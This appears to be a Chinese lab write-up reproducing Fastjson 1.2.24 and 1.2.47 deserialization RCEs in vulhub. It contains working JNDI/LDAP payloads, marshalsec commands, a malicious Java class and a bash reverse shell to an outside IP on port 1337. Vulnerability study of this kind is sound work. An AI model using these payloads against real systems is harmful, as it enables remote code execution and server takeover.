【Web】vulhub Fastjson反序列化漏洞复现学习笔记

news/2024/5/19 21:05:21 标签: java, java反序列化, fastjson, marshalsec, web, ctf, vulhub

目录

1.2.24 RCE CVE-2017-18349

复现流程

原理分析

1.2.47 RCE CNVD-2019-22238

复现流程

原理分析

漏洞探测


1.2.24 RCE CVE-2017-18349

复现流程

vulhub启动靶场

marshalsec启动LDAP/RMI服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.142.132:8089/#LinuxTouch" 9473
用python启动HTTP服务,存放恶意字节码(LinuxTouch.class)

 LinuxTouch.java

public class LinuxTouch {
    public LinuxTouch(){
        try{
            Runtime.getRuntime().exec("touch /tmp/fast-success.txt");
        }catch(Exception e){
            e.printStackTrace();
        }
    }
    public static void main(String[] argv){
        LinuxTouch e = new LinuxTouch();
    }
}

效果是在靶机临时目录下创建一个success文件

payload:

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://124.222.136.33:9473/suibian",
        "autoCommit":true
    }
}

发现python启动的http服务接收到字节码请求

再看靶机容器的/tmp下,成功创建success文件

原理分析

1、序列化字符准备类名、dataSourceName属性和autoCommit属性
2、JdbcRowSetImpl反序列化,调用JdbcRowSetImpl的setAutoCommit()
3、setAutoCommit()调用connect()
4、connect()调用lookup()连接到LDAP/RMI服务器
5、下载恶意代码到本地,执行,攻击发生

1.2.47 RCE CNVD-2019-22238

复现流程

vulhub启动靶场

 用marshalsec启动LDAP/RMI服务

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://124.222.136.33:8089/#LinuxRevers" 9473

 用python启动HTTP服务,存放恶意字节码(LinuxRevers.class)

 LinuxRevers.java

public class LinuxRevers {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"/bin/bash", "-c", "bash -i >& /dev/tcp/124.222.136.33/1337 0>&1"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
        }
    }
}

效果是反弹shell给1337端口

监听1337端口

payload:

{"a":{ "@type":"java.lang.Class", "val":"com.sun.rowset.JdbcRowSetImpl"
},"b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"ldap://124.222.136.33:9473/suibian", "autoCommit":true
}
}

 发现marshalsec转发请求,python启动的http服务接收到字节码请求

 

1337端口成功反弹shell

原理分析

 autoTypeSupport为true时,fastjson首先判断类是否在白名单内,命中则加载该类

接着判断类是否在黑名单内且TypeUtils.mappings中没有该类缓存,才抛出异常。

接着继续尝试在TypeUtils.mappings中查找缓存的class

我们的利用方法就是先将恶意类加入到mappings中,以此绕过黑名单的检测,在利用恶意类进行攻击

漏洞探测

1、找到发送JSON序列化数据的接口
2、判断是否使用fastjon
1)非法格式报错
{"x":"
2)使用dnslog探测
{"x":{"@type":"java.net.Inet4Address" , "val":"xxx.dnslog.cn"}}

http://www.niftyadmin.cn/n/5368734.html

相关文章

1978-2022年地级市全要素生产率数据

1978-2022年地级市全要素生产率数据 1、时间:1978-2022年 2、来源:城市统计年鉴以及各省市的统计年鉴 3、指标:省份、地区、年份、OLS、FE、RE、DGMM、SGMM、SFA1、SFA2、SFA3、SFA3D、TFE、非参数法 4、范围:421地区 5、参考…

C语言 判断素数 sqrt

//找出100~200间的素数 #include <stdio.h> int main() {int i 0;int count 0;for(i 100; i < 200; i){//判断i是否为素数//是素数则打印//拿2~i-1之间的数字去除i&#xff0c;表示素数int flag 1;int j 0;for(j 2; j < i-1; j){if(i % j 0){flag 0;break;…

RTSP 和 RTMP通过ffmpeg实现将本地摄像头推流到RTSP服务器

一、流媒体&#xff1a;RTSP 和RTMP 1、RTSP 和 RTMP的工作原理 1&#xff09;RTSP工作原理 用户设备向视频流平台发送 RTSP 请求 视频流平台返回可以操作的请求列表&#xff0c;比如播放、暂停等 用户设备向视频流平台发送具体的请求&#xff0c;比如播放 视频流平台解析请…

Android 判断通知是进度条通知

1.需求: 应用监听安卓系统中的通知,需要区分出带进度条的通知. 当使用NotificationCompat.Builder构建一个通知时&#xff0c;可以通过调用setProgress(max, progress, indeterminate)方法来添加一个进度条。这里的max参数表示最大进度值&#xff0c;progress表示当前进度值&a…

开发实践11_Blog

以下学习 朔宁夫 基于pycharm的网站开发课程笔记。 富文本&#xff1a; models&#xff1a; content models.TextField(verbose_name"content") 或者 content RichTestUploadingField(default"", verbose_name"content") setting: instal…

前端工程化之:webpack3-5(css module)

目录 一、css module 1.思路 2.实现原理 3.如何应用样式 4.其他操作 &#xff08;1&#xff09;全局类名 &#xff08;2&#xff09;如何控制最终的类名 5.其他注意事项 一、css module 通过命名规范来限制类名太过死板&#xff0c;而 css in js 虽然足够灵活&…

PMP备考的三个阶段及学习方法分享

PMP证书是项目管理必备的关键技能证书&#xff0c;是具备进行项目管理的重要技能体现。无论升职加薪&#xff0c;还是从事项目管理工作&#xff0c;都非常重要。 个人主要从事产品开发工作&#xff0c;开始逐渐承担一些项目经理角色&#xff0c;但目前项目管理知识薄弱&#x…

rust给py写拓展如此简单

很久没写rust,主要是写业务逻辑实在用不上这高性能.不过惊奇发现rust和py结合的如此之好,记录下: 搞一个python环境,pip install maturin建立一个项目文件,cd进去 maturin init照着生成模版正常写rust,完毕后maturin develop,注意这个命令包括把拓展包安装到虚拟环境site pack…